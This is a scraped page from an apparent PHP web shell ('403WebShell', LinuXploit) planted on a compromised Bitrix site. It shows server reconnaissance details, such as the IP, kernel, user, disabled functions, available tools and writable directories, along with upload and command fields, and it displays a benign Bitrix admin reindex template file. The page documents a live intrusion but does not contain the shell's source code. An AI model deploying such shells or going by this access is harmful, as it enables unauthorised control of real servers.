%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.191.239.107
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.reindex/templates/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.reindex/templates/admin/template.php
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>
<?
global $APPLICATION;
?>

<?
use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);
?>

<?if(!empty($arResult['ERRORS']['FATAL'])):?>

	<?CAdminMessage::ShowMessage(array('MESSAGE' => htmlspecialcharsbx(implode(', ', $arResult['ERRORS']['FATAL'])), 'type' => 'ERROR'))?>

<?else:?>

	<?if(!empty($arResult['ERRORS']['NONFATAL'])):?>
		<?CAdminMessage::ShowMessage(array('MESSAGE' => htmlspecialcharsbx(implode(', ', $arResult['ERRORS']['NONFATAL'])), 'type' => 'ERROR'))?>
	<?endif?>

	<?
	$aTabs = array(
		array(
			"DIV" => "tab_reindex",
			"TAB" => Loc::getMessage("SALE_SLRI_TAB_REINDEX_TITLE"), "ICON" => "sale",
			"TITLE" => Loc::getMessage("SALE_SLRI_TAB_REINDEX_TITLE_SETTINGS"),
			"ONSELECT" => "BX.locationReindexInstance.setTab('tab_reindex')"
		)
	);

	$tabControl = new CAdminTabControl("tabctrl_reindex", $aTabs, true, true);

	CJSCore::Init();
	$APPLICATION->AddHeadScript('/bitrix/js/sale/core_ui_widget.js');
	$APPLICATION->AddHeadScript('/bitrix/js/sale/core_iterator.js');
	$APPLICATION->AddHeadScript('/bitrix/js/sale/core_ui_etc.js');
	$APPLICATION->AddHeadScript('/bitrix/js/sale/core_ui_itemtree.js');
	?>

	<div id="location-reindex">

		<div class="bx-ui-loc-ri-progressbar">
			<?
			CAdminMessage::ShowMessage(array(
				"TYPE" => "PROGRESS",
				"DETAILS" => '#PROGRESS_BAR#'.
					'<div class="adm-loc-ri-statusbar">'.Loc::getMessage('SALE_SLRI_STATUS').': <span class="bx-ui-loc-ri-loader"></span>&nbsp;<span class="bx-ui-loc-ri-status-text">'.Loc::getMessage('SALE_SLRI_STAGE_INITIAL').'</span></div>',
				"HTML" => true,
				"PROGRESS_TOTAL" => 100,
				"PROGRESS_VALUE" => 0,
				"PROGRESS_TEMPLATE" => '<span class="bx-ui-loc-ri-percents">#PROGRESS_VALUE#</span>%'
			));
			?>
		</div>

		<?
		$tabControl->Begin();
		$tabControl->BeginNextTab();
		?>

			<tr class="heading">
				<td colspan="2"><?=Loc::getMessage('SALE_SLRI_SETTINGS_BASE')?></td>
			</tr>

			<tr>
				<td>
					<?=Loc::getMessage('SALE_SLRI_TYPES4INDEX_2')?>
				</td>
				<td>
					<select multiple class="bx-ui-loc-ri-option" name="TYPES">
						<option value=""<?=($arResult['TYPES_UNSELECTED'] ? ' selected' : '')?>>- <?=Loc::getMessage('SALE_SLRI_ALL_TYPES_2')?></option>
						<?foreach($arResult['TYPES'] as $id => $type):?>
							<option value="<?=intval($id)?>"<?=($type['SELECTED'] ? ' selected' : '')?>><?=htmlspecialcharsbx($type['NAME'])?></option>
						<?endforeach?>
					</select>
				</td>
			</tr>

			<tr>
				<td>
					<?=Loc::getMessage('SALE_SLRI_LANGS4INDEX_2')?>
				</td>
				<td>
					<select multiple class="bx-ui-loc-ri-option" name="LANG">
						<option value=""<?=($arResult['LANGS_UNSELECTED'] ? ' selected' : '')?>>- <?=Loc::getMessage('SALE_SLRI_ALL_LANGS_2')?></option>
						<?foreach($arResult['LANGS'] as $id => $lang):?>
							<option value="<?=htmlspecialcharsbx($id)?>"<?=($lang['SELECTED'] ? ' selected' : '')?>><?=htmlspecialcharsbx($lang['NAME'])?></option>
						<?endforeach?>
					</select>
				</td>
			</tr>

			<tr>
				<td>
					<?=Loc::getMessage('SALE_SLRI_AP_TIMELIMIT')?>
				</td>
				<td>
					<input type="text" name="TIME_LIMIT" value="20" class="bx-ui-loc-ri-option" />
				</td>
			</tr>

			<?/*
			<tr class="heading">
				<td colspan="2"><?=Loc::getMessage('SALE_SLRI_JOB2DO')?></td>
			</tr>

			<tr>
				<td></td>
				<td>
					<label><input type="checkbox" name="JOB[DICTIONARY]" value="1" checked class="bx-ui-loc-ri-option" />&nbsp;<?=Loc::getMessage('SALE_SLRI_JOB_DICTIONARY')?></label><br />
				</td>
			</tr>

			<tr>
				<td></td>
				<td>
					<label><input type="checkbox" name="JOB[SITE]" value="1" checked class="bx-ui-loc-ri-option" />&nbsp;<?=Loc::getMessage('SALE_SLRI_JOB_SITE')?></label></label>
				</td>
			</tr>
			*/?>

		<?
		$tabControl->Buttons();
		?>
			<input type="submit" class="adm-btn-save bx-ui-loc-ri-button-start" value="<?=Loc::getMessage('SALE_SLRI_START')?>">
		<?
		$tabControl->End();
		?>

	</div>

	<?=BeginNote();?>
		<?=Loc::getMessage('SALE_SLRI_HEAVY_DUTY_NOTICE')?>
		<br /><br />
		<?=Loc::getMessage('SALE_SLRI_HEAVY_DUTY_HOST_NOTICE')?>
	<?=EndNote();?>

	<script>
		BX.locationReindexInstance = new BX.Sale.component.location.reindex(<?=CUtil::PhpToJSObject(array(

				// common
				'url' => $arResult['URLS']['AJAX_URL'],
				'scope' => 'location-reindex',
				'ajaxFlag' => 'AJAX_CALL',
				'importId' => rand(99, 999),

				'messages' => array(
					'start' => Loc::getMessage('SALE_SLRI_START'),
					'stop' => Loc::getMessage('SALE_SLRI_STOP'),
					'stopping' => Loc::getMessage('SALE_SLRI_STOPPING'),

					'error_occured' => Loc::getMessage('SALE_SLRI_ERROR'),
					'sure_reindex' => Loc::getMessage('SALE_SLRI_SURE_REINDEX'),

					'stage_CLEANUP' => Loc::getMessage('SALE_SLRI_STAGE_CLEANUP'),
					'stage_CREATE_DICTIONARY' => Loc::getMessage('SALE_SLRI_STAGE_CREATE_DICTIONARY'),
					'stage_RESORT_DICTIONARY' => Loc::getMessage('SALE_SLRI_STAGE_RESORT_DICTIONARY'),
					'stage_CREATE_SEARCH_INDEX' => Loc::getMessage('SALE_SLRI_STAGE_CREATE_SEARCH_INDEX'),
					'stage_CREATE_SITE2LOCATION_INDEX' => Loc::getMessage('SALE_SLRI_STAGE_CREATE_SITE2LOCATION_INDEX'),
					'stage_RESTORE_DB_INDEXES' => Loc::getMessage('SALE_SLRI_STAGE_RESTORE_DB_INDEXES'),
					'stage_COMPLETE' => Loc::getMessage('SALE_SLRI_STAGE_COMPLETE'),

					'stage_INTERRUPTED' => Loc::getMessage('SALE_SLRI_STAGE_INTERRUPTED'),
					'stage_INTERRUPTING' => Loc::getMessage('SALE_SLRI_STAGE_INTERRUPTING'),
				)

		), false, false, true)?>);
	</script>

<?endif?>

Youez - 2016 - github.com/yon3zu
LinuXploit